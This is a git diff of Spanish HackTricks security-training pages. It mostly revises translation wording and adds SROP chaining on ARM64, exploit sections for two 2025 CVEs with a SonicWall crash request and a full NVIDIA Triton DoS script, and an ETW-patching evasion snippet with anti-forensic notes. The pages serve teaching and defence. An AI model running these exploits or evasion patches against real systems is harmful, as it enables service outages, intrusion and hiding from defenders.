+Y para eludir la dirección de `/bin/sh` podrías crear varias variables de entorno que apunten a ella, para más información:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/
{{#endref}}
+---
+
+## Encontrar gadgets `sigreturn` automáticamente (2023-2025)
+
+En distribuciones modernas, el trampolín `sigreturn` todavía se exporta por la página **vDSO**, pero el desplazamiento exacto puede variar entre versiones del kernel y banderas de compilación como BTI (`+branch-protection`) o PAC. Automatizar su descubrimiento previene la codificación rígida de desplazamientos:
+```bash
+# With ROPgadget ≥ 7.4
+python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
+
+# With rp++ ≥ 1.0.9 (arm64 support)
+rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
+```
+Ambas herramientas entienden **AArch64** codificaciones y listarán secuencias candidatas `mov x8, 0x8b ; svc #0` que pueden ser utilizadas como el *gadget SROP*.
+
+> Nota: Cuando los binarios se compilan con **BTI**, la primera instrucción de cada objetivo de rama indirecta válida es `bti c`. Los trampolines `sigreturn` colocados por el enlazador ya incluyen la almohadilla de aterrizaje BTI correcta, por lo que el gadget sigue siendo utilizable desde código no privilegiado.
+
+## Encadenando SROP con ROP (pivotar a través de `mprotect`)
+
+`rt_sigreturn` nos permite controlar *todos* los registros de propósito general y `pstate`. Un patrón común en x86 es: 1) usar SROP para llamar a `mprotect`, 2) pivotar a una nueva pila ejecutable que contenga código shell. La misma idea funciona en ARM64:
+```python
+frame = SigreturnFrame()
+frame.x8 = constants.SYS_mprotect # 226
+frame.x0 = 0x400000 # page-aligned stack address
+frame.x1 = 0x2000 # size
+frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
+frame.sp = 0x400000 + 0x100 # new pivot
+frame.pc = svc_call # will re-enter kernel
+```
+Después de enviar el marco, puedes enviar una segunda etapa que contenga código shell en bruto en `0x400000+0x100`. Debido a que **AArch64** utiliza direccionamiento *relativo al PC*, esto suele ser más conveniente que construir grandes cadenas ROP.
+
+## Validación del kernel, PAC y Shadow-Stacks
+
+Linux 5.16 introdujo una validación más estricta de los marcos de señal del espacio de usuario (commit `36f5a6c73096`). El kernel ahora verifica:
+
+* `uc_flags` debe contener `UC_FP_XSTATE` cuando `extra_context` está presente.
+* La palabra reservada en `struct rt_sigframe` debe ser cero.
+* Cada puntero en el registro *extra_context* está alineado y apunta dentro del espacio de direcciones del usuario.
+
+`pwntools>=4.10` crea marcos compatibles automáticamente, pero si los construyes manualmente, asegúrate de inicializar en cero *reserved* y omitir el registro SVE a menos que realmente lo necesites; de lo contrario, `rt_sigreturn` entregará `SIGSEGV` en lugar de retornar.
+
+A partir de Android 14 y Fedora 38, el espacio de usuario se compila con **PAC** (*Pointer Authentication*) y **BTI** habilitados por defecto (`-mbranch-protection=standard`). *SROP* en sí no se ve afectado porque el kernel sobrescribe `PC` directamente desde el marco creado, eludiendo el LR autenticado guardado en la pila; sin embargo, cualquier **cadena ROP subsiguiente** que realice saltos indirectos debe saltar a instrucciones habilitadas para BTI o direcciones PACed. Ten esto en cuenta al elegir gadgets.
+
+Los Shadow-Call-Stacks introducidos en ARMv8.9 (y ya habilitados en ChromeOS 1.27+) son una mitigación a nivel de compilador y *no* interfieren con SROP porque no se ejecutan instrucciones de retorno; el flujo de control es transferido por el kernel.
+
+## Referencias
+
+* [Documentación sobre el manejo de señales en Linux arm64](https://docs.kernel.org/arch/arm64/signal.html)
+* [LWN – "La protección de ramas AArch64 llega a GCC y glibc" (2023)](https://lwn.net/Articles/915041/)
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md
index eb2330219..8b9d5fe0c 100644
--- a/src/binary-exploitation/stack-overflow/README.md
+++ b/src/binary-exploitation/stack-overflow/README.md
@@ -59,6 +59,7 @@ Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de
En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
+
{{#ref}}
ret2win/
{{#endref}}
@@ -67,6 +68,7 @@ ret2win/
En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
+
{{#ref}}
stack-shellcode/
{{#endref}}
@@ -75,6 +77,7 @@ stack-shellcode/
Esta técnica es el marco fundamental para eludir la principal protección de la técnica anterior: **Pila no ejecutable (NX)**. Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios al abusar de instrucciones existentes en el binario:
+
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
@@ -83,6 +86,7 @@ Esta técnica es el marco fundamental para eludir la principal protección de la
Un desbordamiento no siempre va a estar en la pila, también podría estar en el **heap**, por ejemplo:
+
{{#ref}}
../libc-heap/heap-overflow.md
{{#endref}}
@@ -91,8 +95,98 @@ Un desbordamiento no siempre va a estar en la pila, también podría estar en el
Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en:
+
{{#ref}}
../common-binary-protections-and-bypasses/
{{#endref}}
+### Ejemplo del mundo real: CVE-2025-40596 (SonicWall SMA100)
+
+Una buena demostración de por qué **`sscanf` nunca debería ser confiado para analizar entradas no confiables** apareció en 2025 en el dispositivo SSL-VPN SMA100 de SonicWall.
+La rutina vulnerable dentro de `/usr/src/EasyAccess/bin/httpd` intenta extraer la versión y el punto final de cualquier URI que comience con `/__api__/`:
+```c
+char version[3];
+char endpoint[0x800] = {0};
+/* simplified proto-type */
+sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
+```
+1. La primera conversión (`%2s`) almacena de manera segura **dos** bytes en `version` (por ejemplo, `"v1"`).
+2. La segunda conversión (`%s`) **no tiene especificador de longitud**, por lo tanto `sscanf` seguirá copiando **hasta el primer byte NUL**.
+3. Debido a que `endpoint` se encuentra en la **pila** y tiene **0x800 bytes de largo**, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que se encuentra después del búfer ‑ incluyendo el **stack canary** y la **dirección de retorno guardada**.
+
+Una prueba de concepto de una sola línea es suficiente para provocar el fallo **antes de la autenticación**:
+```python
+import requests, warnings
+warnings.filterwarnings('ignore')
+url = "https://TARGET/__api__/v1/" + "A"*3000
+requests.get(url, verify=False)
+```
+Aunque los canarios de pila abortan el proceso, un atacante aún obtiene un **Denial-of-Service** primitivo (y, con filtraciones de información adicionales, posiblemente ejecución de código). La lección es simple:
+
+* Siempre proporciona un **ancho máximo de campo** (por ejemplo, `%511s`).
+* Prefiere alternativas más seguras como `snprintf`/`strncpy_s`.
+
+### Ejemplo del Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
+
+El servidor de inferencia Triton de NVIDIA (≤ v25.06) contenía múltiples **desbordamientos basados en pila** accesibles a través de su API HTTP.
+El patrón vulnerable apareció repetidamente en `http_server.cc` y `sagemaker_server.cc`:
+```c
+int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
+if (n > 0) {
+/* allocates 16 * n bytes on the stack */
+struct evbuffer_iovec *v = (struct evbuffer_iovec *)
+alloca(sizeof(struct evbuffer_iovec) * n);
+...
+}
+```
+1. `evbuffer_peek` (libevent) devuelve el **número de segmentos de buffer internos** que componen el cuerpo de la solicitud HTTP actual.
+2. Cada segmento provoca que se asigne un **`evbuffer_iovec` de 16 bytes** en la **pila** a través de `alloca()` – **sin ningún límite superior**.
+3. Al abusar de **HTTP _chunked transfer-encoding_**, un cliente puede forzar que la solicitud se divida en **cientos de miles de fragmentos de 6 bytes** (`"1\r\nA\r\n"`). Esto hace que `n` crezca sin límites hasta que la pila se agote.
+
+#### Prueba de Concepto (DoS)
+```python
+#!/usr/bin/env python3
+import socket, sys
+
+def exploit(host="localhost", port=8000, chunks=523_800):
+s = socket.create_connection((host, port))
+s.sendall((
+f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
+f"Host: {host}:{port}\r\n"
+"Content-Type: application/octet-stream\r\n"
+"Inference-Header-Content-Length: 0\r\n"
+"Transfer-Encoding: chunked\r\n"
+"Connection: close\r\n\r\n"
+).encode())
+
+for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
+s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
+s.sendall(b"0\r\n\r\n") # end of chunks
+s.close()
+
+if __name__ == "__main__":
+exploit(*sys.argv[1:])
+```
+Una solicitud de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y **crash** el daemon en una construcción por defecto.
+
+#### Patch & Mitigation
+La versión 25.07 reemplaza la asignación de pila insegura con un **`std::vector` respaldado por heap** y maneja de manera elegante `std::bad_alloc`:
+```c++
+std::vector v_vec;
+try {
+v_vec = std::vector(n);
+} catch (const std::bad_alloc &e) {
+return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
+}
+struct evbuffer_iovec *v = v_vec.data();
+```
+Lecciones aprendidas:
+* Nunca llames a `alloca()` con tamaños controlados por el atacante.
+* Las solicitudes en fragmentos pueden cambiar drásticamente la forma de los buffers del lado del servidor.
+* Valida / limita cualquier valor derivado de la entrada del cliente *antes* de usarlo en asignaciones de memoria.
+
+## Referencias
+* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
+* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 3974e26d8..fec92b18b 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -4,7 +4,7 @@
## Información Básica
-Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **explotación binaria**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada, dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos:
+Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **binary exploitation**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos:
### Ejemplo en C
@@ -27,7 +27,7 @@ vulnerable_function();
return 0;
}
```
-Para compilar este programa sin protecciones de pila y con **ASLR** desactivado, puedes usar el siguiente comando:
+Para compilar este programa sin protecciones de pila y con **ASLR** deshabilitado, puedes usar el siguiente comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
@@ -100,6 +100,7 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
## Ejemplo ARM64
+
{{#ref}}
ret2win-arm64.md
{{#endref}}
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 7c32fe9a4..a8bfd5f36 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -55,7 +55,7 @@ pattern search $x30
### Opción de desplazamiento de pila
-Comience por obtener la dirección de la pila donde se almacena el registro pc:
+Comience obteniendo la dirección de la pila donde se almacena el registro pc:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@@ -144,7 +144,7 @@ Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64-
### Off-by-2
-Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible filtrar el desplazamiento a la función win (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
+Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible obtener el desplazamiento a la función win (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
```python
diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index 039cdf8bb..a57f39a65 100644
--- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -12,7 +12,7 @@ mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
-Y dado que el **EBP/RBP guardado está en la pila** antes del EIP/RIP guardado, es posible controlarlo al controlar la pila.
+Y como el **EBP/RBP guardado está en la pila** antes del EIP/RIP guardado, es posible controlarlo al controlar la pila.
> Notas
> - En 64 bits, reemplaza EBP→RBP y ESP→RSP. La semántica es la misma.
@@ -41,9 +41,9 @@ Recuerda que antes de cualquiera de estas direcciones en el área controlada, de
#### Exploit Off-By-One
-Hay una variante utilizada cuando solo puedes **modificar el byte menos significativo del EBP/RBP guardado**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con **`ret`** debe compartir los primeros tres/cinco bytes con el EBP/RBP original para que una sobrescritura de 1 byte pueda redirigirlo. Generalmente, el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana.
+Hay una variante utilizada cuando solo puedes **modificar el byte menos significativo del EBP/RBP guardado**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con **`ret`** debe compartir los primeros tres/cinco bytes con el EBP/RBP original para que una sobrescritura de 1 byte pueda redirigirlo. Usualmente, el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana.
-También es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final.
+También es común usar un RET sled en la pila y poner la verdadera cadena ROP al final para hacer más probable que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final.
### Encadenamiento de EBP
@@ -130,7 +130,7 @@ En amd64, a menudo verás `pop rbp ; ret` en lugar de `leave ; ret`, pero si el
### Gadget `pop rsp`
-[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para ese desafío era necesario llamar a una función con 2 argumentos específicos, y había un **gadget `pop rsp`** y hay una **fuga de la pila**:
+[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para ese desafío, era necesario llamar a una función con 2 argumentos específicos, y había un **gadget `pop rsp`** y hay una **fuga de la pila**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@@ -190,7 +190,7 @@ Consulta la técnica ret2esp aquí:
### Encontrar gadgets de pivote rápidamente
-Utiliza tu buscador de gadgets favorito para buscar primitivas de pivote clásicas:
+Usa tu buscador de gadgets favorito para buscar primitivas de pivote clásicas:
- `leave ; ret` en funciones o en bibliotecas
- `pop rsp` / `xchg rax, rsp ; ret`
@@ -220,6 +220,7 @@ Las CPUs y sistemas operativos x86 modernos implementan cada vez más **CET Shad
- Para más información y detalles más profundos, consulta:
+
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
@@ -239,10 +240,10 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
(gdb) checksec
```
- Notas para labs/CTF:
-- Algunas distribuciones modernas habilitan SHSTK para binarios habilitados para CET cuando hay soporte de hardware y glibc. Para pruebas controladas en VMs, SHSTK se puede deshabilitar a nivel de sistema mediante el parámetro de arranque del kernel `nousershstk`, o habilitar selectivamente a través de configuraciones de glibc durante el inicio (ver referencias). No deshabilites mitigaciones en objetivos de producción.
+- Algunas distribuciones modernas habilitan SHSTK para binarios habilitados para CET cuando hay soporte de hardware y glibc. Para pruebas controladas en VMs, SHSTK se puede deshabilitar a nivel del sistema mediante el parámetro de arranque del kernel `nousershstk`, o habilitar selectivamente a través de configuraciones de glibc durante el inicio (ver referencias). No deshabilites mitigaciones en objetivos de producción.
- Las técnicas basadas en JOP/COOP o SROP podrían seguir siendo viables en algunos objetivos, pero SHSTK rompe específicamente los pivotes basados en `ret`.
-- Nota de Windows: Windows 10+ expone el modo de usuario y Windows 11 añade "Protección de Pila Forzada por Hardware" en modo kernel construida sobre pilas sombra. Los procesos compatibles con CET previenen el pivoteo de pila/ROP en `ret`; los desarrolladores optan por ello a través de CETCOMPAT y políticas relacionadas (ver referencia).
+- Nota de Windows: Windows 10+ expone el modo de usuario y Windows 11 añade "Protección de Pila Forzada por Hardware" en modo kernel, construida sobre pilas sombra. Los procesos compatibles con CET previenen el pivoteo de pila/ROP en `ret`; los desarrolladores optan por ello a través de CETCOMPAT y políticas relacionadas (ver referencia).
## ARM64
@@ -267,10 +268,11 @@ ret
```
> [!CAUTION]
-> La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP` controlado** y **`RET`** a él.
+> La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él.
También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**:
+
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
@@ -282,7 +284,7 @@ También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, explotación off by one con una cadena rop comenzando con un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
-- 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para pila o pie y un WWW de un qword. Primero obtén el leak de la pila y usa el WWW para volver y obtener el leak del pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP.
+- 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de la pila y usa el WWW para volver y obtener el leak del pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP.
- Documentación del kernel de Linux: Tecnología de Aplicación de Control de Flujo (CET) Pila Sombra — detalles sobre SHSTK, `nousershstk`, banderas de `/proc/$PID/status`, y habilitación a través de `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Protección de Pila Forzada por Hardware en Modo Kernel (pilas sombra CET en Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 0c75386a5..019334c6c 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -66,7 +66,7 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
-La única cosa "complicada" de encontrar aquí sería la dirección en la pila a la que llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco).
+Lo único "complicado" que hay que encontrar aquí sería la dirección en la pila a la que llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco).
Abrí el archivo **`core`** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode.
diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md
index 61c3ed755..4cc608aaf 100644
--- a/src/crypto-and-stego/hash-length-extension-attack.md
+++ b/src/crypto-and-stego/hash-length-extension-attack.md
@@ -1,4 +1,4 @@
-# Ataque de Extensión de Longitud de Hash
+# Hash Length Extension Attack
{{#include ../banners/hacktricks-training.md}}
@@ -9,9 +9,9 @@ Imagina un servidor que está **firmando** algunos **datos** al **agregar** un *
- **La longitud del secreto** (esto también se puede forzar mediante fuerza bruta desde un rango de longitud dado)
- **Los datos de texto claro**
- **El algoritmo (y es vulnerable a este ataque)**
-- **El relleno es conocido**
+- **El padding es conocido**
- Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es
-- El relleno varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
+- El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
@@ -20,12 +20,12 @@ Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una
Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** **creado previamente** (estado), **agregan el siguiente bloque de datos** y **lo hashean**.
Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
-Si un atacante quiere agregar la cadena "agregar" puede:
+Si un atacante quiere agregar la cadena "agregar", puede:
- Generar un MD5 de 64 "A"s
- Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b
- Agregar la cadena "agregar"
-- Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "relleno" + "agregar"**
+- Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "padding" + "agregar"**
### **Herramienta**
diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
index bd67f5b79..59cefa153 100644
--- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
+++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
@@ -1,13 +1,17 @@
+# RC4 Encrypt and Decrypt
+
{{#include ../banners/hacktricks-training.md}}
Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) solo utilizando la función de cifrado.
Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos:
+
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
+
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md
index 3455e9ba2..51b806811 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/README.md
@@ -38,7 +38,7 @@ linux-forensics.md
docker-forensics.md
{{#endref}}
-## Inspección profunda de tipos de archivos específicos y Software
+## Inspección Profunda de Tipos de Archivos Específicos y Software
Si tienes un **archivo** muy **sospechoso**, entonces **dependiendo del tipo de archivo y del software** que lo creó, varios **trucos** pueden ser útiles.\
Lee la siguiente página para aprender algunos trucos interesantes:
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
index 6cb658bf6..195dabaaa 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
@@ -2,14 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
-## Tiempos
+## Timestamps
Un atacante puede estar interesado en **cambiar las marcas de tiempo de los archivos** para evitar ser detectado.\
Es posible encontrar las marcas de tiempo dentro del MFT en los atributos `$STANDARD_INFORMATION` \_\_ y \_\_ `$FILE_NAME`.
Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **creación** y **modificación del registro MFT** (MACE o MACB).
-**Explorador de Windows** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**.
+**Windows explorer** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**.
### TimeStomp - Herramienta anti-forense
@@ -77,11 +77,11 @@ Estas distribuciones se **ejecutan dentro de la memoria RAM**. La única forma d
## Configuración de Windows
-Es posible deshabilitar varios métodos de registro de Windows para hacer que la investigación forense sea mucho más difícil.
+Es posible deshabilitar varios métodos de registro de Windows para dificultar mucho la investigación forense.
### Deshabilitar Marcas de Tiempo - UserAssist
-Esta es una clave de registro que mantiene las fechas y horas en que cada ejecutable fue ejecutado por el usuario.
+Esta es una clave de registro que mantiene fechas y horas cuando cada ejecutable fue ejecutado por el usuario.
Deshabilitar UserAssist requiere dos pasos:
@@ -174,7 +174,7 @@ Los defensores deben monitorear los cambios en esas claves del registro y la eli
### Parche ETW (Event Tracing for Windows)
-Los productos de seguridad de endpoints dependen en gran medida de ETW. Un método de evasión popular en 2024 es parchear `ntdll!EtwEventWrite`/`EtwEventWriteFull` en memoria para que cada llamada a ETW devuelva `STATUS_SUCCESS` sin emitir el evento:
+Los productos de seguridad de endpoints dependen en gran medida de ETW. Un método de evasión popular de 2024 es parchear `ntdll!EtwEventWrite`/`EtwEventWriteFull` en memoria para que cada llamada a ETW devuelva `STATUS_SUCCESS` sin emitir el evento:
```c
// 0xC3 = RET on x64
unsigned char patch[1] = { 0xC3 };
@@ -184,7 +184,7 @@ patch, sizeof(patch), NULL);
```
Public PoCs (por ejemplo, `EtwTiSwallow`) implementan la misma primitiva en PowerShell o C++.
Debido a que el parche es **local al proceso**, los EDR que se ejecutan dentro de otros procesos pueden pasarlo por alto.
-Detección: comparar `ntdll` en memoria vs. en disco, o enganchar antes del modo de usuario.
+Detección: comparar `ntdll` en memoria vs. en disco, o enganchar antes del modo usuario.
### Revitalización de Flujos de Datos Alternativos (ADS)
@@ -242,15 +242,15 @@ Forense/caza consejos
- RHEL/CentOS: `rpm -Va 'activemq*'`
- Busque versiones de JAR presentes en el disco que no sean propiedad del gestor de paquetes, o enlaces simbólicos actualizados fuera de banda.
- Línea de tiempo: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` para correlacionar ctime/mtime con la ventana de compromiso.
-- Historial de shell/telemetría de procesos: evidencia de `curl`/`wget` a `repo1.maven.org` u otros CDNs de artefactos inmediatamente después de la explotación inicial.
+- Historial de shell/telemetría de procesos: evidencia de `curl`/`wget` a `repo1.maven.org` u otros CDN de artefactos inmediatamente después de la explotación inicial.
- Gestión de cambios: valide quién aplicó el “parche” y por qué, no solo que una versión parcheada esté presente.
-### C2 de servicio en la nube con tokens portadores y stagers anti-análisis
-El comercio observado combinó múltiples rutas C2 de largo recorrido y empaquetado anti-análisis:
+### C2 de servicio en la nube con tokens de portador y stagers anti-análisis
+El comercio observado combinó múltiples rutas C2 de largo alcance y empaquetado anti-análisis:
- Cargadores ELF de PyInstaller protegidos por contraseña para dificultar el sandboxing y el análisis estático (por ejemplo, PYZ cifrado, extracción temporal bajo `/_MEI*`).
- Indicadores: hits de `strings` como `PyInstaller`, `pyi-archive`, `PYZ-00.pyz`, `MEIPASS`.
- Artefactos en tiempo de ejecución: extracción a `/tmp/_MEI*` o rutas personalizadas `--runtime-tmpdir`.
-- C2 respaldado por Dropbox utilizando tokens OAuth Bearer codificados.
+- C2 respaldado por Dropbox utilizando tokens de portador OAuth codificados.
- Marcadores de red: `api.dropboxapi.com` / `content.dropboxapi.com` con `Authorization: Bearer `.
- Cace en proxy/NetFlow/Zeek/Suricata para HTTPS saliente a dominios de Dropbox desde cargas de trabajo de servidor que normalmente no sincronizan archivos.
- C2 paralelo/respaldo a través de túneles (por ejemplo, Cloudflare Tunnel `cloudflared`), manteniendo el control si un canal es bloqueado.
